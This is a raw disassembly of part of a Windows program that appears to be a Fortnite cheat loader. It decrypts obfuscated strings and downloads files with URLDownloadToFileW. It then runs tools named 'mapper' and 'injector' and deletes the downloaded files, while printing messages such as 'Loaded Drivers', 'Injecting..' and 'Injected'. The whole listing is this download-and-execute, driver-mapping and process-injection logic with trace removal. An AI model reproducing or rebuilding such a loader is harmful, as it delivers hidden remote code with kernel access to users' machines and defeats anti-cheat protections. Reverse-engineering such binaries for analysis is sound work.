shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000b8e0
cmp r8d, 0x2f
jge 0x14000ba13
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x14000b9e0
lea rax, [rbp + 0x30]
mov r9, rdi
nop word [rax + rax]
inc r9
cmp byte [rax + r9], 0
jne 0x14000ba20
lea r8, [rbp + 0x30]
xor edx, edx
mov rcx, r10
call fcn.140013c70
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x14006cb9c]
lea rcx, [rbp + 0x80]
call fcn.1400114f0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, rsi
lea r8, [rbp + 0x30]
lea rcx, [rbp + 0xa0]
call fcn.140013d70
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rcx, qword [rbp + 0xa0]
call fcn.14003b0f0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000bb18
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108ee
call fcn.14002ccd0
movdqu xmmword [rbp + 0xb0], xmm11
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000bb64
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108f4
call fcn.14002ccd0
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14000bba5
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bba0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108fa
call fcn.14002ccd0
movdqu xmmword [rbp + 0x90], xmm11
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000bbf0
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bbeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010900
call fcn.14002ccd0
movdqu xmmword [rbp + 0x10], xmm11
mov byte [rbp], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000bc37
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bc32
lea rcx, [rsp + 0x30]
call fcn.140004b20
mov rsi, rax
lea rcx, [rbp + 0x30]
call fcn.140004b20
mov r10, rax
movups xmm0, xmmword [0x14006eb68]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x14006eb78]
movups xmmword [rbp + 0x10], xmm1
movsd xmm0, qword [0x14006eb88]
movsd qword [rbp + 0x20], xmm0
mov ecx, dword [0x14006eb90]
mov dword [rbp + 0x28], ecx
movzx eax, word [0x14006eb94]
mov word [rbp + 0x2c], ax
movzx eax, byte [0x14006eb96]
mov byte [rbp + 0x2e], al
mov r8d, r12d
cmp ebx, 2
jl 0x14000bda3
lea rcx, [rbp + 0x160]
cmp r15, 0xf
cmova rcx, r14
cmp rbx, 1
jne 0x1400107ff
mov r8, rbx
lea rdx, [0x14006cbcc]
call fcn.140058710
test eax, eax
jne 0x1400107ff
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
xor r8d, r8d
lea rdx, [0x14006c128]
lea rcx, [rbp + 0x100]
call fcn.140013690
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
xor r8d, r8d
lea rdx, [0x14006c128]
lea rcx, [rbp + 0x80]
call fcn.140013690
nop
mov qword [rsp + 0x20], r12
mov r9d, 3
lea r8, [0x14006c2c4]
lea rdx, [0x14006cbd0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], r12
mov r9d, 4
lea r8, [0x14006c2c4]
lea rdx, [0x14006cbd0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.mapper
call fcn.14003b0f0
mov ecx, 0x107e
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova r8, qword [rbp + 0x80]
add r8, qword [rbp + 0x90]
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0x60]
call fcn.140013130
nop
lea r8, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova r8, qword [rbp + 0x100]
add r8, qword [rbp + 0x110]
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rdx, qword [rbp + 0x100]
lea rcx, [rbp + 0xa0]
call fcn.140013130
nop
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 7
cmova rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14006c2cc]
call fcn.14003b0f0
lea rcx, str.color_a
call fcn.14003b0f0
lea rdx, str.____Loaded_Drivers_n
call fcn.140012b90
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.____Called_Function_n
call fcn.140012b90
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.____Successfully_Executed_n
call fcn.140012b90
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14006c2cc]
call fcn.14003b0f0
lea rcx, str.color_d
call fcn.14003b0f0
lea rdx, str.Press_any_key_to_inject__lobby__n_n
call fcn.140012b90
lea rcx, str.pause
call fcn.14003b0f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
mov r8d, 4
lea rdx, [0x14006cc74]
lea rcx, [rbp + 0xc0]
call fcn.140013690
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov r8d, 4
lea rdx, [0x14006cc74]
lea rcx, [rbp + 0xe0]
call fcn.140013690
nop
mov qword [rsp + 0x20], r12
mov r9d, 5
lea r8, str.path
lea rdx, [0x14006cc90]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], r12
mov r9d, 6
lea r8, str.path
lea rdx, str.link
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.injector
call fcn.14003b0f0
mov ecx, 0x107e
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0xf
cmova r8, qword [rbp + 0xc0]
add r8, qword [rbp + 0xd0]
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0xf
cmova rdx, qword [rbp + 0xc0]
lea rcx, [rbp + 0x120]
call fcn.140013130
nop
lea r8, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova r8, qword [rbp + 0xe0]
add r8, qword [rbp + 0xf0]
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rdx, qword [rbp + 0xe0]
lea rcx, [rbp + 0x140]
call fcn.140013130
nop
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 7
cmova rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x140]
cmp qword [rbp + 0x158], 7
cmova rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14006c2cc]
call fcn.14003b0f0
lea rcx, [0x14006c2cc]
call fcn.14003b0f0
lea rcx, str.color_a
call fcn.14003b0f0
lea rdx, str.____Checking_for_Updates_n
call fcn.140012b90
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.____Finding_Fortnite_Game_n
call fcn.140012b90
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.____Injecting.._n
call fcn.140012b90
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.____Injected_n
call fcn.140012b90
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 7
jbe 0x1400105bc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400105b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001096c
call fcn.14002ccd0
movdqa xmm6, xmmword [0x14006fa20]
movdqu xmmword [rbp + 0x150], xmm6
mov word [rbp + 0x140], r12w
mov rdx, qword [rbp + 0x138]
cmp rdx, 7
jbe 0x14001061a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010615
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010972
call fcn.14002ccd0
movdqu xmmword [rbp + 0x130], xmm6
mov word [rbp + 0x120], r12w
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14001066b
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010666
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010978
call fcn.14002ccd0
movdqu xmmword [rbp + 0xf0], xmm11
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x1400106bc
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400106b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001097e
call fcn.14002ccd0
movdqu xmmword [rbp + 0xd0], xmm11
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x140010712
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001070d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010984
call fcn.14002ccd0
movdqu xmmword [rbp + 0xb0], xmm6
mov word [rbp + 0xa0], r12w
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x140010762
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001075d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001098a
call fcn.14002ccd0
movdqu xmmword [rbp + 0x70], xmm6
mov word [rbp + 0x60], r12w
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x1400107ad
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010990
call fcn.14002ccd0
movdqu xmmword [rbp + 0x90], xmm11
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x1400107ff
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010996
call fcn.14002ccd0
nop
cmp r15, 0xf
jbe 0x140010837
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14001082e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001099c
mov rcx, r14
call fcn.14002ccd0
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140010874
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001086f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108c4
call fcn.14002ccd0
xor eax, eax
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.14002ccb0
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
nop
call fcn.14003b078
int3